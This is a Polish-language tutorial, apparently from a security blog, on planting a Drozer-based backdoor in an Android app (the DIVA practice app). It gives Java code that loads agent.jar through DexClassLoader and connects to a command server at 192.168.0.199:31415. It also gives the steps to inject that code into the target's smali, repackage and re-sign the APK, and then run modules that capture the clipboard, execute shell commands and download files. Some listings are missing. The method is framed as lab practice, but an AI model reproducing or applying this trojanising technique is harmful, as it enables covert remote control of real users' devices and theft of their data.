[PL] Backdoor na Androida w oparciu o narzędzie Drozer
Wstęp
Zapoznamy się ze sposobem na stworzenie backdoora oraz umieszczenie go w dowolnej aplikacji na platformie Android. Będzie on wykorzystywał narzędzie Drozer, które służy przede wszystkim do testowania bezpieczeństwa mobilnych aplikacji. Drozer działa w architekturze klient-serwer, a my użyjemy jego dwóch komponentów:
-
Drozer (.deb albo Python .egg) - pełna wersja narzędzia, do zainstalowania na komputerze. Będzie pełnić rolę serwera, który posłuży do wydawania poleceń.
-
agent.jar - klient napisany w Javie. Trafi do docelowej aplikacji razem z kodem wykorzystującym go do połączenia z serwerem.
Naszym celem będzie DIVA Android. Jest to aplikacja, w której celowo umieszczono wiele różnych podatności, co czyni z niej dobry materiał do ćwiczeń. Do napisania kodu obsługującego agent.jar wykorzystamy Android Studio. Zbudujemy w nim plik APK, a następnie zdekompilujemy używając narzędzia apktool. Uzyskamy w ten sposób kod w formacie smali. Tego samego narzędzia użyjemy do rekompilacji naszego celu. Umieścimy w nim plik JAR jako asset, a do klasy głównej aktywności dodamy kod ładujący go. Dzięki temu aplikacja już przy uruchomieniu będzie łączyła się z serwerem i czekała na polecenia.
Wymagane narzędzia i aplikacje:
- Drozer - https://labs.mwrinfosecurity.com/tools/drozer/
- agent.jar - https://raw.githubusercontent.com/mwrlabs/drozer/develop/src/drozer/lib/agent.jar
- Android Studio - https://developer.android.com/studio/index.html#downloads
- JDK 8 - http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
- apktool - https://ibotpeaches.github.io/Apktool/
- DIVA Android - http://payatu.com/damn-insecure-and-vulnerable-app/
Przygotowanie kodu
Uruchamiamy Android Studio i tworzymy nowy projekt, wybierając w kreatorze pustą aktywność. W klasie MainActivity implementujemy metodę runAgent, którą wywołamy na końcu onCreate. Do załadowania pliku JAR wykorzystamy klasę DexClassLoader. Wymaga ona podania ścieżki do pliku, jednak pliki znajdujące się w APK (assety) są odczytywane bezpośrednio z niego i uzyskanie ich ścieżek jest niemożliwe. Dlatego konieczne będzie skopiowanie agent.jar do pamięci wewnętrznej telefonu.
1
2
3
4
5
6
File agentJar = new File(getFilesDir(), "agent.jar");
InputStream is = getAssets().open("agent.jar");
byte[] jarContent = new byte[is.available()];
is.read(jarContent);
FileOutputStream fos = new FileOutputStream(agentJar);
fos.write(jarContent);
Metoda getFilesDir wykorzystana w pierwszej linii zwraca ścieżkę do katalogu z plikami aplikacji. W drugiej linii otwieramy strumień do pliku znajdującego się w katalogu assets w APK. Kolejne linie kopiują zawartość pliku do miejsca reprezentowanego przez zmienną agentJar.
Wiedząc, że agentJar posiada ścieżkę do istniejącego pliku, możemy utworzyć instancję DexClassLoader. Pozwala nam ona skorzystać z mechanizmu refleksji do stworzenia obiektu agenta i uruchomienia go.
1
2
3
4
5
6
7
DexClassLoader dexClassLoader = new DexClassLoader(agentJar.getAbsolutePath(), getCacheDir().getAbsolutePath(), null,
ClassLoader.getSystemClassLoader());
Class<?> aClass = dexClassLoader.loadClass("com.mwr.dz.Agent");
Constructor<?> constructor = aClass.getConstructor(String.class, int.class, Context.class);
Object agent = constructor.newInstance("192.168.0.199", 31415, this);
Method run = aClass.getMethod("run");
run.invoke(agent);
W piątej linii przekazujemy adres komputera, na którym zostanie uruchomiony serwer Drozera. To z nim połączy się zmodyfikowana aplikacja. Drugi parametr to domyślny port, na którym działa Drozer. Ostatni to kontekst, który jest niezbędny do działania większości modułów. Ostatnia linia to uruchomienie agenta, który spróbuje się połączyć z serwerem.
Kod dodatkowo opakowujemy w bloki try i catch, aby zapobiec crashowaniu aplikacji, gdyby próba odpalenia backdoora nie powiodła się. Całość prezentuje się następująco:
Z tak przygotowanego projektu budujemy paczkę, klikając Build, a następnie Build APK(s).
Umieszczenie backdoora w aplikacji
Aplikację, w której umieścimy backdoora możemy wyszukać na telefonie
a następnie pobrać.
Pobraną aplikację oraz wcześniej przygotowaną paczkę rozpakowujemy narzędziem apktool. Daje nam to dostęp do struktury katalogów paczki oraz kodu w formacie smali.
Konieczne jest teraz znalezienie głównej aktywności w rozpakowanej aplikacji. W tym celu otwieramy plik AndroidManifest.xml i odszukujemy aktywność, która posiada
W backdoorrunner.out/smali/com/example/backdoorrunner/MainActivity.smali znajduje się kod, który wcześniej napisaliśmy. Interesuje nas w nim metoda runAgent, którą w całości kopiujemy do diva.out/smali/jakhar/aseem/diva/MainActivity.smali oraz onStart, z której kopiujemy jedynie
i umieszczamy jako przedostatnią instrukcję w metodzie o tej samej nazwie. Numeracja z pierwszej linii nie musi się pokrywać z pozostałymi, oryginalnymi liniami. Jest wykorzystywana tylko do budowania czytelnych stack trace’ów i nie ma bezpośredniego wpływu na wykonanie kodu.
Potrzebne jeszcze jest dostosowanie nazw pakietów do nowej aplikacji - wszystkie wystąpienia com/example/backdoorrunner/MainActivity zmieniamy na jakhar/aseem/diva/MainActivity.
Powinniśmy uzyskać taki kod: MainActivity.smali
Kolejną rzeczą do wykonania w tym kroku, jest umieszczenie agent.jar w diva.out/assets
Na koniec upewniamy się, że w AndroidManifest.xml jest uprawnienie pozwalające na korzystanie z sieci. W przypadku braku należy je dodać. Bez niego nasz backdoor nie byłby w stanie połączyć się z serwerem.
Zbudowanie nowego APK
Po dokonaniu wszystkich modyfikacji możemy przystąpić do zbudowania paczki.
Do tego konieczne jeszcze jest podpisanie aplikacji. Bez tego instalacja nie będzie możliwa.
Android wykorzystuje certyfikaty tylko do rozróżnienia twórców aplikacji. Nie muszą być one podpisane przez CA. Jest to zabezpieczenie przed instalacją nowej, potencjalnie szkodliwej wersji aplikacji, przygotowanej przez kogoś innego niż pierwotnego autora. Nie jest to jednak zabezpieczenie idealne. Na przestrzeni lat znaleziono wiele luk w implementacji tego mechanizmu. Jedną z nich był błąd o numerze 8219321. Dotyczył on niepoprawnej obsługi plików APK, które zawierały w sobie pliki o powtarzających się nazwach. Sprawdzana była sygnatura tylko tego, który występował jako pierwszy, a następnie na telefonie instalowany był drugi plik. Pozwalało to przemycać w APK niebezpieczną zawartość, która nie była weryfikowana, a mimo to trafiała do pamięci telefonu.
Instalujemy aplikację na telefonie. Trzeba pamiętać o odinstalowaniu poprzedniej wersji, jeśli nie dysponujemy żadnym błędem pozwalającym na instalację fałszywej aplikacji.
Uruchomienie i przejęcie kontroli
Serwer uruchamiamy wpisując
Ostatnia linia to log, który powinniśmy ujrzeć po uruchomieniu aplikacji z backdoorem. Oznacza ona udane połączenie.
Teraz pozostaje już tylko uruchomienie konsoli, która daje możliwość odpalania modułów w kontekście zmodyfikowanej aplikacji.
Wpisując list wyświetlimy wszystkie dostępne moduły. Wśród nich warto zwrócić uwagę na:
- app.package.list - wyświetla listę aplikacji zainstalowanych na telefonie
- app.package.info - wyświetla szczegółowe informacje o aplikacjach zainstalowanych na telefonie
- app.package.attacksurface - pokazuje wektor ataku na aplikację
- information.deviceinfo - wyświetla informacje na temat urządzenia
- post.capture.clipboard - pobiera zawartość schowka
- shell.exec - wykonuje polecenie w powłoce
- tools.file.download - pobiera plik z urządzenia
Za pomocą help wyświetlamy szczegółowego informacje o wybranym module
A uruchamiamy go wpisując run dz> run shell.exec “uname -a”